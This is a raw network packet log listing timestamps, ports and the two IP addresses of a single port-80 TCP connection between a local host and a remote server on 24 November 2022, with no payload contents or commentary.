Nov 24, 2022 13:27:53.387159109 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387171030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387176037 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387188911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387191057 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387207031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387207031 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387222052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387226105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387243986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387243986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387263060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387263060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387280941 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387281895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387299061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387301922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387319088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387320042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387335062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387339115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387353897 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387356997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387372971 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387373924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387388945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387392998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387409925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387411118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387425900 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387428045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387444019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387444973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387461901 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387465000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387480021 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387481928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387499094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387500048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387516022 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387521982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387537956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387541056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387554884 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387559891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387573957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387578011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387593031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387595892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387610912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387613058 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387629986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387636900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387645006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387655973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387670040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387671947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387687922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387691021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387705088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387708902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387725115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387729883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387742996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387744904 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387761116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387763977 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387777090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387779951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387797117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387798071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387811899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387815952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387831926 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387835026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387851954 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387856007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387872934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387885094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387892008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387898922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387909889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387916088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387928009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387932062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387945890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387948990 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387963057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387964964 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387980938 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.387980938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.387998104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388000011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388015985 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388017893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388036966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388039112 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388055086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388060093 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388072968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388075113 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388087034 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388091087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388108969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388108015 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388122082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388139963 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388144016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388158083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388168097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388175011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388190985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388195992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388207912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388217926 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388226986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388243914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388245106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388257027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388262987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388273954 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388279915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388297081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388314962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388320923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388333082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388345003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388351917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388369083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388371944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388386965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388396978 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388403893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388422012 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388423920 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388438940 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388447046 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388458014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388470888 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388475895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388494968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388494968 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388513088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388520002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388531923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388539076 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388550043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388550997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388564110 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388570070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388585091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388588905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388602018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388605118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388621092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388623953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388636112 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388638020 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388653994 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388657093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388676882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388679981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388699055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388699055 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388715982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388732910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388739109 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388751984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388752937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388770103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388777018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388787985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388793945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388807058 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388809919 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388823986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388823986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388842106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388843060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388856888 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388859987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388876915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388878107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388892889 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388896942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388911963 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388915062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388930082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388935089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388951063 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388952017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388964891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388968945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.388983011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.388988018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389002085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389005899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389018059 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389019012 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389034033 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389038086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389053106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389055014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389070988 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389074087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389089108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389091969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389108896 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389111996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389123917 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389130116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389144897 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389147043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389162064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389164925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389178991 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389183044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389198065 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389202118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389216900 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389219999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389236927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389238119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389257908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389266014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389276981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389286041 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389293909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389306068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389312983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389317989 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389332056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389336109 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389349937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389354944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389369011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389388084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389398098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389405966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389425039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389429092 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389440060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389444113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389462948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389467001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389481068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389484882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389497995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389499903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389517069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389520884 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389534950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389535904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389554977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389555931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389573097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389574051 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389589071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389595032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389609098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389612913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389631033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389636040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389648914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389659882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389667034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389686108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389689922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389703989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389712095 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389723063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389738083 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389740944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389760017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389765024 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389777899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389787912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389796019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389805079 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389813900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389821053 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389832973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389837027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389852047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389854908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389867067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389868975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389887094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389888048 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389902115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389906883 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389924049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389925003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389940977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389944077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389957905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389961004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389976025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389980078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.389993906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.389997005 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390012026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390027046 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390029907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390045881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390054941 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390064001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390080929 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390084028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390101910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390106916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390120029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390130043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390137911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390146971 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390153885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390172005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390177965 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390189886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390203953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390208006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390225887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390244007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390248060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390263081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390263081 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390280008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390288115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390299082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390302896 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390316010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390321016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390335083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390336990 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390352964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390367985 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390372038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390388966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.390393019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.390407085 CET	80	49702	66.235.200.147	192.168.2.4
